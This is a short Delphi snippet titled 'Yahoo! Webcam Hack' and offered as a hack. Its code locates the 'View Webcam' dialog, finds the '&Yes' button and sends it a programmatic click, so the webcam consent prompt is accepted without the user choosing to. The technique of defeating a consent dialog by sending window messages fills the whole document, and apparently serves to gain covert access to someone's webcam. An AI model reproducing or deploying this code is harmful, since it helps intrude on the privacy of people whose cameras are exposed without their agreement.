[Borland Delphi] Yahoo! Webcam Hack

var
WebcamWindow: HWND;
AcceptButton: HWND;

begin
WebcamWindow := FindWindow('WebcamClass','View Webcam');

if WebcamWindow <> 0 then
  begin
    AcceptButton := FindWindowEx(WebcamWindow,0,'Button','&Yes');
    SendMessage(AcceptButton, BM_CLICK ,0 ,0);
  end;